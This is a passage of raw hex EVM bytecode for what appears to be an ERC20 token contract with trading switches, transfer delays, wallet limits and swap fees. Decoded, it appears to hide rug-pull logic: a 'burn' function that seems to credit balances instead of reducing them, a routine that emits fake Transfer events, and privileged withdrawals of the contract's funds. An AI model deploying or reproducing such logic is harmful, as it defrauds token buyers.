905062000d538162000d28565b92915050565b60006020828403121562000d725762000d7162000cef565b5b600062000d828482850162000d42565b91505092915050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168062000e0d57607f821691505b60208210810362000e235762000e2262000dc5565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b60006008830262000e8d7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000e4e565b62000e99868362000e4e565b95508019841693508086168417925050509392505050565b6000819050919050565b600062000edc62000ed662000ed08462000bd5565b62000eb1565b62000bd5565b9050919050565b6000819050919050565b62000ef88362000ebb565b62000f1062000f078262000ee3565b84845462000e5b565b825550505050565b600090565b62000f2762000f18565b62000f3481848462000eed565b505050565b5b8181101562000f5c5762000f5060008262000f1d565b60018101905062000f3a565b5050565b601f82111562000fab5762000f758162000e29565b62000f808462000e3e565b8101602085101562000f90578190505b62000fa862000f9f8562000e3e565b83018262000f39565b50505b505050565b600082821c905092915050565b600062000fd06000198460080262000fb0565b1980831691505092915050565b600062000feb838362000fbd565b9150826002028217905092915050565b620010068262000d8b565b67ffffffffffffffff81111562001022576200102162000d96565b5b6200102e825462000df4565b6200103b82828562000f60565b600060209050601f8311600181146200107357600084156200105e578287015190505b6200106a858262000fdd565b865550620010da565b601f198416620010838662000e29565b60005b82811015620010ad5784890151825560018201915060208501945060208101905062001086565b86831015620010cd5784890151620010c9601f89168262000fbd565b8355505b6001600288020188555050505b505050505050565b60008115159050919050565b620010f981620010e2565b82525050565b6000602082019050620011166000830184620010ee565b92915050565b600082825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b600062001165601f836200111c565b915062001172826200112d565b602082019050919050565b60006020820190508181036000830152620011988162001156565b9050919050565b6000620011ac8262000bd5565b9150620011b98362000bd5565b9250828201905080821115620011d457620011d362000a52565b5b92915050565b620011e58162000bd5565b82525050565b6000602082019050620012026000830184620011da565b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000620012406020836200111c565b91506200124d8262001208565b602082019050919050565b60006020820190508181036000830152620012738162001231565b9050919050565b6080516141ce620012b260003960008181610d1c01528181611cdf0152818161285801528181612939015261296001526141ce6000f3fe6080604052600436106102555760003560e01c80637571336a11610139578063c2b7bbb6116100b6578063dd62ed3e1161007a578063dd62ed3e14610873578063e2f45605146108b0578063f2fde38b146108db578063f55332ab14610904578063f8b45b0514610941578063ffb54a991461096c5761025c565b8063c2b7bbb6146107a0578063c876d0b9146107c9578063c8c8ebe4146107f4578063c9567bf91461081f578063cd5f101d146108365761025c565b8063a0ef91df116100fd578063a0ef91df146106bd578063a457c2d7146106d4578063a746223f14610711578063a9059cbb1461073a578063c0246668146107775761025c565b80637571336a146105fe5780638da5cb5b1461062757806395d89b41146106525780639a7a23d61461067d5780639b636545146106a65761025c565b806339509351116101d257806352f7c9881161019657806352f7c98814610502578063583e05681461052b5780636ddd17131461055657806370a0823114610581578063715018a6146105be57806371f5f01a146105d55761025c565b8063395093511461040957806342966c6814610446578063470624021461046f57806349bd5a5e1461049a5780634fbee193146104c55761025c565b806326ededb81161021957806326ededb8146103485780632b14ca56146103715780632cb743f71461039c578063311028af146103b3578063313ce567146103de5761025c565b806306fdde0314610261578063095ea7b31461028c578063139864a8146102c957806318160ddd146102e057806323b872dd1461030b5761025c565b3661025c57005b600080fd5b34801561026d57600080fd5b50610276610997565b6040516102839190612f21565b60405180910390f35b34801561029857600080fd5b506102b360048036038101906102ae9190612fe1565b610a29565b6040516102c0919061303c565b60405180910390f35b3480156102d557600080fd5b506102de610a4c565b005b3480156102ec57600080fd5b506102f5610a68565b6040516103029190613066565b60405180910390f35b34801561031757600080fd5b50610332600480360381019061032d9190613081565b610a72565b60405161033f919061303c565b60405180910390f35b34801561035457600080fd5b5061036f600480360381019061036a9190613139565b610aa1565b005b34801561037d57600080fd5b50610386610b78565b6040516103939190613066565b60405180910390f35b3480156103a857600080fd5b506103b1610b7e565b005b3480156103bf57600080fd5b506103c8610c1c565b6040516103d59190613066565b60405180910390f35b3480156103ea57600080fd5b506103f3610c22565b60405161040091906131b5565b60405180910390f35b34801561041557600080fd5b50610430600480360381019061042b9190612fe1565b610c2b565b60405161043d919061303c565b60405180910390f35b34801561045257600080fd5b5061046d600480360381019061046891906131d0565b610c62565b005b34801561047b57600080fd5b50610484610c7e565b6040516104919190613066565b60405180910390f35b3480156104a657600080fd5b506104af610c84565b6040516104bc919061320c565b60405180910390f35b3480156104d157600080fd5b506104ec60048036038101906104e79190613227565b610caa565b6040516104f9919061303c565b60405180910390f35b34801561050e57600080fd5b5061052960048036038101906105249190613254565b610d00565b005b34801561053757600080fd5b50610540610d1a565b60405161054d91906132f3565b60405180910390f35b34801561056257600080fd5b5061056b610d3e565b604051610578919061303c565b60405180910390f35b34801561058d57600080fd5b506105a860048036038101906105a39190613227565b610d51565b6040516105b59190613066565b60405180910390f35b3480156105ca57600080fd5b506105d3610d9a565b005b3480156105e157600080fd5b506105fc60048036038101906105f791906131d0565b610dae565b005b34801561060a57600080fd5b506106256004803603810190610620919061333a565b610e46565b005b34801561063357600080fd5b5061063c610ea9565b604051610649919061320c565b60405180910390f35b34801561065e57600080fd5b50610667610ed3565b6040516106749190612f21565b60405180910390f35b34801561068957600080fd5b506106a4600480360381019061069f919061333a565b610f65565b005b3480156106b257600080fd5b506106bb61100b565b005b3480156106c957600080fd5b506106d261107f565b005b3480156106e057600080fd5b506106fb60048036038101906106f69190612fe1565b61116c565b604051610708919061303c565b60405180910390f35b34801561071d57600080fd5b506107386004803603810190610733919061337a565b6111e3565b005b34801561074657600080fd5b50610761600480360381019061075c9190612fe1565b61128a565b60405161076e919061303c565b60405180910390f35b34801561078357600080fd5b5061079e6004803603810190610799919061333a565b6112ad565b005b3480156107ac57600080fd5b506107c760048036038101906107c29190613227565b61135e565b005b3480156107d557600080fd5b506107de6113d7565b6040516107eb919061303c565b60405180910390f35b34801561080057600080fd5b506108096113ea565b6040516108169190613066565b60405180910390f35b34801561082b57600080fd5b506108346113f0565b005b34801561084257600080fd5b5061085d60048036038101906108589190613227565b611415565b60405161086a9190613066565b60405180910390f35b34801561087f57600080fd5b5061089a600480360381019061089591906133da565b61142d565b6040516108a79190613066565b60405180910390f35b3480156108bc57600080fd5b506108c56114b4565b6040516108d29190613066565b60405180910390f35b3480156108e757600080fd5b5061090260048036038101906108fd9190613227565b6114ba565b005b34801561091057600080fd5b5061092b60048036038101906109269190613227565b61153d565b604051610938919061303c565b60405180910390f35b34801561094d57600080fd5b50610956611593565b6040516109639190613066565b60405180910390f35b34801561097857600080fd5b50610981611599565b60405161098e919061303c565b60405180910390f35b6060600480546109a690613449565b80601f01602080910402602001604051908101604052809291908181526020018280546109d290613449565b8015610a1f5780601f106109f457610100808354040283529160200191610a1f565b820191906000526020600020905b815481529060010190602001808311610a0257829003601f168201915b5050505050905090565b600080610a346115ac565b9050610a418185856115b4565b600191505092915050565b610a5461177d565b600a54600e81905550600a54600d81905550565b6000600354905090565b600080610a7d6115ac565b9050610a8a858285611811565b610a9585858561189d565b60019150509392505050565b610aa961177d565b60005b83839050811015610b7257838382818110610aca57610ac961347a565b5b9050602002016020810190610adf9190613227565b73ffffffffffffffffffffffffffffffffffffffff16600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610b5d9190613066565b60405180910390a38080600101915050610aac565b50505050565b600b5481565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bbf6115ac565b73ffffffffffffffffffffffffffffffffffffffff1614610bdf57600080fd5b6000610bea30610d51565b9050610c1930600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168361189d565b50565b600a5481565b60006009905090565b600080610c366115ac565b9050610c57818585610c48858961142d565b610c5291906134d8565b6115b4565b600191505092915050565b610c6a61177d565b610c7b610c756115ac565b8261254c565b50565b600c5481565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000601560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b610d0861177d565b80600b8190555081600c819055505050565b7f000000000000000000000000000000000000000000000000000000000000000081565b601260009054906101000a900460ff1681565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610da261177d565b610dac60006126f3565b565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610def6115ac565b73ffffffffffffffffffffffffffffffffffffffff1614610e0f57600080fd5b6000610e1a30610d51565b9050600060648383610e2c919061350c565b610e36919061357d565b9050610e41816127b9565b505050565b610e4e61177d565b80601460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060058054610ee290613449565b80601f0160208091040260200160405190810160405280929190818152602001828054610f0e90613449565b8015610f5b5780601f10610f3057610100808354040283529160200191610f5b565b820191906000526020600020905b815481529060010190602001808311610f3e57829003601f168201915b5050505050905090565b610f6d61177d565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610ffd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ff490613620565b60405180910390fd5b6110078282612a18565b5050565b61101361177d565b600f60009054906101000a900460ff16611062576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110599061368c565b60405180910390fd5b6000600f60006101000a81548160ff021916908315150217905550565b600047116110c2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110b9906136f8565b60405180910390fd5b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111036115ac565b73ffffffffffffffffffffffffffffffffffffffff161461112357600080fd5b3373ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015611169573d6000803e3d6000fd5b50565b6000806111776115ac565b90506000611185828661142d565b9050838110156111ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111c19061378a565b60405180910390fd5b6111d782868684036115b4565b60019250505092915050565b6111eb61177d565b60005b838390508110156112845781601360008686858181106112115761121061347a565b5b90506020020160208101906112269190613227565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806001019150506111ee565b50505050565b6000806112956115ac565b90506112a281858561189d565b600191505092915050565b6112b561177d565b80601560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df782604051611352919061303c565b60405180910390a25050565b61136661177d565b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506113d4600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166001610e46565b50565b600f60009054906101000a900460ff1681565b600e5481565b6113f861177d565b6001601260016101000a81548160ff021916908315150217905550565b60106020528060005260406000206000915090505481565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60115481565b6114c261177d565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611531576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115289061381c565b60405180910390fd5b61153a816126f3565b50565b6000601360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600d5481565b601260019054906101000a900460ff1681565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611623576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161161a906138ae565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611692576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161168990613940565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516117709190613066565b60405180910390a3505050565b6000806117886115ac565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661180f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611806906139ac565b60405180910390fd5b565b600061181d848461142d565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146118975781811015611889576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161188090613a18565b60405180910390fd5b61189684848484036115b4565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361190c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161190390613aaa565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361197b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161197290613b3c565b60405180910390fd5b600081036119945761198f83836000612ab9565b612547565b6000601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205403611a205743601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b611a28610ea9565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611a965750611a66610ea9565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611acf5750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611b09575061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611b225750600f60019054906101000a900460ff16155b1561215857601260019054906101000a900460ff16611c1c57601560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611bdc5750601560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b611c1b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c1290613ba8565b60405180910390fd5b5b600f60009054906101000a900460ff168015611c825750601560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611cd85750601560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611e59577f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614158015611d875750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611e585743601060003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054108015611e18575043601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054105b611e57576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e4e90613c3a565b60405180910390fd5b5b5b600f60029054906101000a900460ff161561215757601660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015611f115750601460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611fb857600e54811115611f5b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f5290613ccc565b60405180910390fd5b600d54611f6783610d51565b82611f7291906134d8565b1115611fb3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611faa90613d38565b60405180910390fd5b612156565b601660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16801561205b5750601460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156120aa57600e548111156120a5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161209c90613dca565b60405180910390fd5b612155565b601460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661215457600d5461210783610d51565b8261211291906134d8565b1115612153576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161214a90613d38565b60405180910390fd5b5b5b5b5b5b600061216330610d51565b90506000601154821190508080156121875750601260009054906101000a900460ff165b80156121a05750600f60019054906101000a900460ff16155b80156121f65750601660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561224c5750601560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156122a25750601560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156122e7576001600f60016101000a81548160ff0219169083151502179055506122cb83612d32565b6000600f60016101000a81548160ff0219169083151502179055505b6000600f60019054906101000a900460ff161580156123505750601560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156123a65750601560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b90506000811561253757601660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156124315761242a606461241c600b5488612d7d90919063ffffffff16565b612d9390919063ffffffff16565b9050612513565b601660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156124b2576124ab606461249d600c5488612d7d90919063ffffffff16565b612d9390919063ffffffff16565b9050612512565b601360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156125115761250e8588612da9565b94505b5b5b600081111561252857612527873083612ab9565b5b80856125349190613dea565b94505b612542878787612ab9565b505050505b505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036125bb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125b290613e90565b60405180910390fd5b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811115612642576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161263990613f22565b60405180910390fd5b818101600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516126e69190613066565b60405180910390a3505050565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6000600267ffffffffffffffff8111156127d6576127d5613f42565b5b6040519080825280602002602001820160405280156128045781602001602082028036833780820191505090505b509050308160008151811061281c5761281b61347a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156128c1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906128e59190613f86565b816001815181106128f9576128f861347a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061295e307f0000000000000000000000000000000000000000000000000000000000000000846115b4565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663791ac94783600084600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518663ffffffff1660e01b81526004016129e29594939291906140ac565b600060405180830381600087803b1580156129fc57600080fd5b505af1158015612a10573d6000803e3d6000fd5b505050505050565b80601660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508015158273ffffffffffffffffffffffffffffffffffffffff167fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab60405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612b28576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b1f90613aaa565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612b97576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b8e90613b3c565b60405180910390fd5b612ba2838383612e6d565b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015612c29576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c2090614178565b60405180910390fd5b818103600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051612d199190613066565b60405180910390a3612d2c848484612e72565b50505050565b6000612d3d30610d51565b905060008103612d4d5750612d7a565b6000819050601154811115612d625760115490505b82811115612d6e578290505b612d77816127b9565b50505b50565b60008183612d8b919061350c565b905092915050565b60008183612da1919061357d565b905092915050565b600080603290506000601060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205443612dfd9190613dea565b905060008282612e0d919061350c565b9050600060648211612e2b57816064612e269190613dea565b612e2e565b60005b9050600060648289612e40919061350c565b612e4a919061357d565b9050612e60600082612e7790919063ffffffff16565b9550505050505092915050565b505050565b505050565b600081831015612e875781612e89565b825b905092915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612ecb578082015181840152602081019050612eb0565b60008484015250505050565b6000601f19601f8301169050919050565b6000612ef382612e91565b612efd8185612e9c565b9350612f0d818560208601612ead565b612f1681612ed7565b840191505092915050565b60006020820190508181036000830152612f3b8184612ee8565b905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612f7882612f4d565b9050919050565b612f8881612f6d565b8114612f9357600080fd5b50565b600081359050612fa581612f7f565b92915050565b6000819050919050565b612fbe81612fab565b8114612fc957600080fd5b50565b600081359050612fdb81612fb5565b92915050565b60008060408385031215612ff857612ff7612f43565b5b600061300685828601612f96565b925050602061301785828601612fcc565b9150509250929050565b60008115159050919050565b61303681613021565b82525050565b6000602082019050613051600083018461302d565b92915050565b61306081612fab565b82525050565b600060208201905061307b6000830184613057565b92915050565b60008060006060848603121561309a57613099612f43565b5b60006130a886828701612f96565b93505060206130b986828701612f96565b92505060406130ca86828701612fcc565b9150509250925092565b600080fd5b600080fd5b600080fd5b60008083601f8401126130f9576130f86130d4565b5b8235905067ffffffffffffffff811115613116576131156130d9565b5b602083019150836020820283011115613132576131316130de565b5b9250929050565b60008060006040848603121561315257613151612f43565b5b600084013567ffffffffffffffff8111156131705761316f612f48565b5b61317c868287016130e3565b9350935050602061318f86828701612fcc565b9150509250925092565b600060ff82169050919050565b6131af81613199565b82525050565b60006020820190506131ca60008301846131a6565b92915050565b6000602082840312156131e6576131e5612f43565b5b60006131f484828501612fcc565b91505092915050565b61320681612f6d565b82525050565b600060208201905061322160008301846131fd565b92915050565b60006020828403121561323d5761323c612f43565b5b600061324b84828501612f96565b91505092915050565b6000806040838503121561326b5761326a612f43565b5b600061327985828601612fcc565b925050602061328a85828601612fcc565b9150509250929050565b6000819050919050565b60006132b96132b46132af84612f4d565b613294565b612f4d565b9050919050565b60006132cb8261329e565b9050919050565b60006132dd826132c0565b9050919050565b6132ed816132d2565b82525050565b600060208201905061330860008301846132e4565b92915050565b61331781613021565b811461332257600080fd5b50565b6000813590506133348161330e565b92915050565b6000806040838503121561335157613350612f43565b5b600061335f85828601612f96565b925050602061337085828601613325565b9150509250929050565b60008060006040848603121561339357613392612f43565b5b600084013567ffffffffffffffff8111156133b1576133b0612f48565b5b6133bd868287016130e3565b935093505060206133d086828701613325565b9150509250925092565b600080604083850312156133f1576133f0612f43565b5b60006133ff85828601612f96565b925050602061341085828601612f96565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061346157607f821691505b6020821081036134745761347361341a565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006134e382612fab565b91506134ee83612fab565b9250828201905080821115613506576135056134a9565b5b92915050565b600061351782612fab565b915061352283612fab565b925082820261353081612fab565b91508282048414831517613547576135466134a9565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061358882612fab565b915061359383612fab565b9250826135a3576135a261354e565b5b828204905092915050565b7f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060008201527f6175746f6d617465644d61726b65744d616b6572506169727300000000000000602082015250565b600061360a603983612e9c565b9150613615826135ae565b604082019050919050565b60006020820190508181036000830152613639816135fd565b9050919050565b7f416c72656164792064697361626c656421000000000000000000000000000000600082015250565b6000613676601183612e9c565b915061368182613640565b602082019050919050565b600060208201905081810360008301526136a581613669565b9050919050565b7f546f6b656e3a206e6f2045544820696e2074686520636f6e7472616374000000600082015250565b60006136e2601d83612e9c565b91506136ed826136ac565b602082019050919050565b60006020820190508181036000830152613711816136d5565b9050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6000613774602583612e9c565b915061377f82613718565b604082019050919050565b600060208201905081810360008301526137a381613767565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000613806602683612e9c565b9150613811826137aa565b604082019050919050565b60006020820190508181036000830152613835816137f9565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000613898602483612e9c565b91506138a38261383c565b604082019050919050565b600060208201905081810360008301526138c78161388b565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061392a602283612e9c565b9150613935826138ce565b604082019050919050565b600060208201905081810360008301526139598161391d565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000613996602083612e9c565b91506139a182613960565b602082019050919050565b600060208201905081810360008301526139c581613989565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b6000613a02601d83612e9c565b9150613a0d826139cc565b602082019050919050565b60006020820190508181036000830152613a31816139f5565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000613a94602583612e9c565b9150613a9f82613a38565b604082019050919050565b60006020820190508181036000830152613ac381613a87565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000613b26602383612e9c565b9150613b3182613aca565b604082019050919050565b60006020820190508181036000830152613b5581613b19565b9050919050565b7f54726164696e67206973206e6f74206163746976652e00000000000000000000600082015250565b6000613b92601683612e9c565b9150613b9d82613b5c565b602082019050919050565b60006020820190508181036000830152613bc181613b85565b9050919050565b7f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60008201527f65642e202054727920616761696e206c617465722e0000000000000000000000602082015250565b6000613c24603583612e9c565b9150613c2f82613b